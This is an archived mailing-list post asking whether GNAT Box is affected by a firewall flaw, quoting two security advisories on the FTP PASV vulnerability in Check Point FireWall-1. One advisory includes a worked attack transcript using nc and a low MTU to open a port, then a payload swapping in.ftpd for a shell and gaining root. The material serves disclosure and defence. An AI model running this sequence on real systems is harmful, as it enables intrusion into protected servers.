Would someone from GTA *PLEASE* comment on this, even if it is just to say that you're looking into it?
This is the third time this question has been asked, and no one has answered. -----Original Message----- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Alec Skelly Sent: Tuesday, February 22, 2000 5:56 PM To: [EMAIL PROTECTED] Subject: PASV FTP Vulnerability? (repost) Send postings to: [EMAIL PROTECTED] Access the list archives at: http://www.gnatbox.com/gb-users/ ---------------------------------- The two messages quoted below describe a recently documented vulnerability in some stateful firewalls. Is GNAT Box vulnerable? ***-----***-----***-----***-----***-----***-----***-----***-----*** Multiple firewalls: FTP Application Level Gateway "PASV" Vulnerability Synopsis -------- It is possible to cause certain firewalls to open up any TCP port of your choice against FTP servers that are "protected" by those firewalls. This is done by fooling the FTP server into echoing "227 PASV" commands out through the firewall. Known affected firewalls ------------------------ Firewall-1 v3 allows full communication on the opened port Firewall-1 v4 allows only inbound communication on the opened port NOTE: THIS IS LIKELY A PROBLEM WITH MANY FIREWALLS, DO NOT TAKE FOR GRANTED THAT YOUR FIREWALL IS SAFE JUST BECAUSE IT IS NOT LISTED HERE Background ---------- I've had this idea since late -98, but haven't gotten around to doing anything about it. Recently, I posted a "possible vulnerability" to [EMAIL PROTECTED], outlining my ideas. This resulted in multiple responses from different people saying that they had experienced attacks like this. It would seem that I should have gone public with my concerns a lot sooner, rather than having people frown upon them in private. For my original, somewhat unstructed, thought process, entitled "Breaking through FTP ALGs -- is it possible?", see: http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&m [EMAIL PROTECTED] For an immediate confirmation regarding FW-1 v3 and v4 from John McDonald, [EMAIL PROTECTED], and a real-life attack, entitled "FireWall-1 FTP Server Vulnerability", see: http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&m [EMAIL PROTECTED] [Note: URLs are most likely wrapped] This attack is most likely to work against stateful inspection firewalls protecting servers. It might also be possible to cause "proxy" like firewalls to open arbitrary ports to protected servers. In the extreme case, albeit a tad unlikely, it may be possible to cause any type of firewall to open arbitrary ports against FTP clients. Take care, all -- Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 �RNSK�LDSVIK Phone: +46 (0)660 105 50 Fax: +46 (0)660 122 50 Mobile: +46 (0)70 248 00 33 WWW: http://www.enternet.se E-mail: [EMAIL PROTECTED] ***-----***-----***-----***-----***-----***-----***-----***-----*** FireWall-1 FTP Server Vulnerability Background Paper #1, data protect AG John McDonald <[EMAIL PROTECTED]> Thomas Lopatic <[EMAIL PROTECTED]> References ---------- Please reference the recent vuln-dev posting by Mikael Olsson entitled, "Breaking through FTP ALGs -- is it possible?" At the time of this writing, it was not yet archived on the security focus web site. Introduction ------------ The basic idea of the described attack is to subvert the security policy implemented by a stateful firewall. This is done by triggering the generation of a TCP packet that, when inspected by the firewall, will change the firewall's internal state such that an attacker is able to establish a TCP connection to a filtered port through the firewall. This packet is the server response to a PASV user request during a FTP session. We have also come across this attack, and were in the process of preparing a more comprehensive advisory, including other FireWall-1 security issues we have documented. The idea was to notify Check Point of these problems and give them time to develop a software update. However, since the general form of this vulnerability was independently documented by Mikael Olsson and published to the vuln-dev mailing list, we feel it is appropriate to distribute this information now, as it relates specifically to FireWall-1, in order to alert potential victims to this issue. Description ----------- Check Point FireWall-1 is vulnerable to an attack involving the stateful support for the FTP protocol, specifically the handling of the PASV command. Typically, a user will send an FTP server the PASV command, and the response from the FTP server will be the 227 message specifying to which destination IP address and destination port the client is expected to connect for the next data connection. FireWall-1 monitors the packets sent from the FTP server to the client, looking for the string "227 " at the beginning of each packet. Upon a match, FireWall-1 will extract the destination IP address and the destination port given in the packet payload, verify that the specified IP address corresponds to the source address of the packet, and allow an incoming TCP connection through the firewall according to the destination IP address and the destination port extracted from the datagram. There are several restrictions on this connection which limit its utility. Data can only travel in one direction and it cannot be to a port that is listed in FireWall-1's list of well-known TCP services. It is important to note that FireWall-1 version 3 does not have this limitation, connections can be made to any port, and the flow of data is not managed. In order to trick FireWall-1 into allowing a connection to a port on the FTP server, we must have the server send the "227 " string as the first four bytes in a packet that, according to its source port, belongs to a FTP control connection. We can typically accomplish this by using the error handler of the FTP daemon, in conjunction with limiting the MSS of our TCP connection. This is easy to do by setting the MTU of our interface to a small value we can work with, before we establish a control connection to the victim FTP server. This causes the return packets from the server to be smaller, allowing us to control more easily how data is split into packets. Thus, we can make the "227 " message returned by the error handler appear at the beginning of a packet. Another way to accomplish this would be to ACK up to the message we want to receive, and then have the server retransmit the data we want to be contained in an isolated packet. Here is an example of an attack based on this technique. There is a FireWall-1 machine between gumpe and the 172.16.0.2 server, which only permits incoming FTP connections. 172.16.0.2 is a default Solaris 2.6 install, with the Tooltalk Database vulnerability. We send the datagram directly to the service's TCP port, in spite of this port being blocked by the firewall. Note that since there is no response expected, the one-way restriction doesn't affect this attack. All of our testing was done on a Nokia IPSO machine running FW-1 version 4.0.SP-4. [root@gumpe /root]# strings hackfile localhost """"3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd [root@gumpe /root]# /sbin/ifconfig eth0 mtu 100 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open 220 sol FTP server (SunOS 5.6) ready. ...........................................227 (172,16,0,2,128,7) 500 '........................................... [1]+ Stopped nc -vvv 172.16.0.2 21 [root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 32775 (?) open sent 80, rcvd 0 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open 220 sol FTP server (SunOS 5.6) ready. ...........................................227 (172,16,0,2,128,7) 500 '........................................... [2]+ Stopped nc -vvv 172.16.0.2 21 [root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 32775 (?) open sent 1168, rcvd 0 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open id uid=0(root) gid=0(root) There is an easier way to perform a similar attack on this setup, since the default Solaris FTP daemon allows a bounce attack, but this should suffice to demonstrate the potential severity of this problem. Summary ------- If you have a FTP server behind a FireWall-1, it is possible for an attacker to open TCP connections to certain ports on the machine, and perform limited communication with those services. If you are running FireWall-1 version 3, you should consider your FTP server to have no TCP filtering. Solving this problem is inherently difficult, but there are simple steps to take to minimize this risk. If the machine is properly hardened, i.e. if there are no services available on it, apart from FTP, this makes this vulnerability have little significance. You can also disable the PASV handling in the FireWall-1 GUI. However, this breaks your configuration for passive FTP clients. ---------------------------------------------- To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe gb-users your_email_address in the body of the message
